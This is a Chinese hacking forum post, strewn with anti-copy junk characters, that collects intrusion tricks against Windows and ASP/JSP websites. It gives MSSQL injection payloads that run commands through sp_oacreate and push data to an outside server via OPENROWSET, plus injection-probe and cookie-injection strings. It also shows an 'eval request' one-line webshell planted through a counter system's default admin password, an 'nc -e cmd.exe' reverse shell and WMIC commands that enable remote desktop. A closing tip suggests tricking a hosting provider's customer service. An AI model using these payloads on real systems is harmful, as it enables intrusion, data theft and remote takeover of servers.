SA点数据库分离技术相关
, U8 Q. Z+ P {$ [3 W. c) f' A3 ~9 U7 a8 N
8 A8 t' \4 N+ y% n) `$ |2 gSA点数据库分离搞法+语句:2 r3 x }8 r7 }. [) c
; U0 a& A" d E6 q2 y注射点不显错,执行下面三条语句页面都返回正常。
0 q) M, ]" }5 I5 g6 |" B7 O" ~and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
+ Z5 c3 g: L. D! K) ]8 X! S7 fand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')+ y/ i2 @6 Z. n' A% d5 V
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
% j0 w6 r _; S$ F4 S8 g0 `可以列目录，判断系统为2000，web与数据库分离& m5 {! ^ ^- n
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。; t2 |4 o j5 ?5 K, |* S* ~8 o
在注射点上执行
, `6 E' P0 s, `declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
' y) n1 _2 ~/ \7 e: }页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP
8 S4 L1 `& t) C( f还有我用NC监听得其他端口都没有得到IP。/ ~ M# Q/ B& N- \
/ u: s) V0 G# V- i& N& ^通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。4 I3 z' b7 `! j) a* B
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
& @. B4 H5 L a/ F; j6 a; |* v0 \4 K; N
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
W# Q& Q# s6 n1 h* o$ [* ^' h; g
; K. w5 i6 k/ E0 C! q现在就猜想是不是数据库是内网而且不能连外网。0 g! G2 }6 F5 Q9 D' u' e
9 q* ?$ U+ w5 P" K: W0 b. n8 G
4 m5 T, O( y3 o8 y5 n+ S. n# jaccess导出txt文本代码
8 D ]5 r9 W+ b. _, @; W0 G% WSELECT * into [test.txt] in 'd:\web\' 'text;' from admin; Z% B( K1 ^- M
. m9 G: g- `, n+ L
1 I2 {9 u( e$ S7 Z
$ @/ ~. Q2 [# i' Z$ r: o
自动跳转到指定网站代码头4 B0 R) ] \9 L* S* P8 J" |
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>, u8 B* y/ n# K# R4 ~
1 @0 o2 Q3 a( F( n+ ~( T
0 {# F& M1 G0 B" @
入侵java or jsp站点时默认配置文件路径:# N8 p* [: N6 Z0 [
\web-inf\web.xml7 P; r) N' G$ q- p
tomcat下的配置文件位置:' M1 W* R5 R* w# e2 V4 D: z9 T
\conf\server.xml (前面加上tomcat路径)* z2 |! ^0 c5 b+ s$ Z/ s
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
/ ?, \8 B" D! j. s; t, \! K
) c! w+ _3 W. W* E$ I* E4 u$ |0 }
- R7 D; f3 e; S! P3 z$ x- p! s0 e% h4 Y
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
5 G. g0 G, N6 `( ?' s7 f ?-1%23# R' ^2 b& G& O8 [# R. V
>
# {" p% w' ] P4 z5 P( ~<
& ^ k7 h: u' O1'+or+'1'='1/ i( W6 B' M( Z
id=8%bf, a& W) b3 H* N) ~5 q9 V: Z
* o% }. O3 J8 Y' R+ {0 R
全新注入点检测试法:
: k( ]( z# B& t; k7 z. W; _. g在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。
( w7 p* E& m; g; E+ R
2 o9 c+ a4 r9 E在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。
. C) t: d* [% H: k7 L1 K: }! I2 L
3 ~. g+ D2 P8 S r4 v' a/ M搜索型注入判断方法:) a' V1 P5 P- u) ?4 g5 x
北京%' and '1'='1' and '%'='9 a ?, ?+ j7 j# i; v0 w
北京%' and '1'='2' and '%'='0 r; T3 c; \2 q6 r- z
* l& Q! S) H' p0 d5 u
, u% y# V6 R$ J4 e) z; Y6 hCOOKIES注入:
4 ]" @* n# c& L6 |( N
. n6 T) D1 ~8 S: `0 bjavascript:alert(document.cookie="id="+escape("51 and 1=1"));
4 {" @5 {1 ^5 K/ P% `/ [. m2 p5 Z7 Q1 `, o, d8 R! h8 e" e" F
2000专业版查看本地登录用户命令:
. r& \' r1 @1 I: `* q# knet config workstation
9 ^4 @4 U/ s% Q" I5 t4 g6 y# x: t
7 K# `! J* s9 O7 n% j6 P
2003下查看ipsec配置和默认防火墙配置命令:
5 O" H7 K) k! m; ynetsh firewall show config: f( l3 {% ?9 V8 c# m2 F" f' e' z8 Z
netsh ipsec static show all* Z" ` o& p2 _. M
3 T' O* u; @/ ^0 F/ r1 S( k- N不指派指定策略命令:
2 w6 L* X) y6 { |netsh ipsec static set policy name=test assign=n (test是不指派的策略名)
) V7 n, z! b- E! Z: b4 V$ c" vnetsh ipsec static show policy all 显示策略名5 M/ \" y4 g1 Z0 p& ^
, x, y- @% R7 `4 j9 U
4 H5 Q7 I d* i7 i6 G. {3 S猜管理员后台小技巧:; i/ q' B0 S7 c0 H/ T) H
admin/left.asp
1 z. ]1 `/ d, M2 e( dadmin/main.asp4 f i ]; `2 d" c) j0 m' B1 J
admin/top.asp
* `. m' p" @" _7 |1 ]/ qadmin/admin.asp ' [" [; F4 D- X1 d* v1 X+ x0 w
会现出菜单导航,然后迅雷下载全部链接$ W! [- F8 s6 V5 x' O
, ^, a) s/ { q- Q! v `
S5 X" R6 m( m: c3 a4 N8 ~! Z1 O" v社会工程学:( f0 Z4 }/ V* C% e8 P. G% t0 M
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人% W% q# Y# v1 j# ]
然后去骗客服
7 Q( [5 `; \& v; e2 s6 z
3 H) F0 m& _: }* r6 m0 O6 Z" u9 T( V3 K
统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码： 8 v5 l4 D1 a! d% c4 M+ Y
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">，
2 N8 s7 c7 Q: T+ D6 Q 存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。3 `7 O: l k2 o
1 t2 L7 \7 \% n6 y& h
! l; C5 f2 r; ], K
2 X2 `) r; P3 z' R$ K6 a
6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）4 ^& S; j. H1 m- X3 C
5 y4 ^% B3 `5 C# P. n/ d8 _- ^$ ?
! \: V, s" n, K
( F5 F1 g' m! {% b2 VCMD加密注册表位置9 p7 P- I7 e$ `& j# m: T
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor9 S, }' M' g+ Z0 K* h# N4 V' p5 P
AutoRun
4 d" {3 E7 k/ y& C( y' j8 m4 ]
! y3 V: K- n, H9 ^9 h3 G* j(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor7 x& t- K. I+ _
AutoRun+ r- b: G5 c$ ^9 F& E
- P3 t3 I6 j6 F* n! R" ^" x3 c
* f1 H9 `3 s, h, h0 e' ]1 \
在找注入时搜索Hidden,把他改成test( o* F& A! N @
$ C+ Y/ U" L4 X( J2 O/ }* }. W4 E3 t( T# Z& @- C. _7 i6 W
' Z; Y, m, \! B/ p- l+ R$ [. [
mstsc /v:IP /console R# i) N& f" ]3 V0 m8 Y
& a' O2 `- @' `5 j7 O" {# {/ Y9 s! Z; t' A
5 q% T9 f( g6 L/ H+ [/ Y$ N
一句话开3389:
; T) J. x$ D& [
* B7 i8 Y( m, M `- n7 h) M最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>
1 _( f+ f2 u: ~' s8 E开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.$ H# Y) }. Y- E
* Z5 X$ B, p8 E+ u _" m. w- W5 r; Y, [
: u& h( _* U: K! b* p# c: t
知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
4 G" x7 Q1 k! Z( v, n! ]Insert into admin(user,pwd) values('test','test')
' `3 w5 E; A2 {; `; Q1 w
* b* T2 B) V% k a4 ^3 m" E# a$ Z; w- i# i7 ~5 n! p# F
NC反弹
0 B0 R( c2 _, a6 b6 s* o3 @) B8 C先在本机执行： nc -vv -lp 监听的端口 (自己执行) & x- D) T( E5 q5 `: _
然后在服务器上执行： nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
, Y9 V) v _9 X9 T3 V }& P
N' f* u/ h( K" ~7 B1 U3 c; o0 _! K" W
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
7 s1 x) f/ B) v- K O2 s
/ a% @" i/ m5 M0 ], e! |+ r有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录( x3 n A6 ^2 K! l" P
例如:
7 Z* b0 E1 n6 i/ d, Q' I. C. b4 ^subst k: d:\www\ 用d盘www目录替代k盘" ?* `& g! ?: o9 R S
subst k: /d 解除K盘代替 |
匿名
发表于 2017-12-20 02:36:51
发表于 2012-9-15 14:41:29
收藏
支持
反对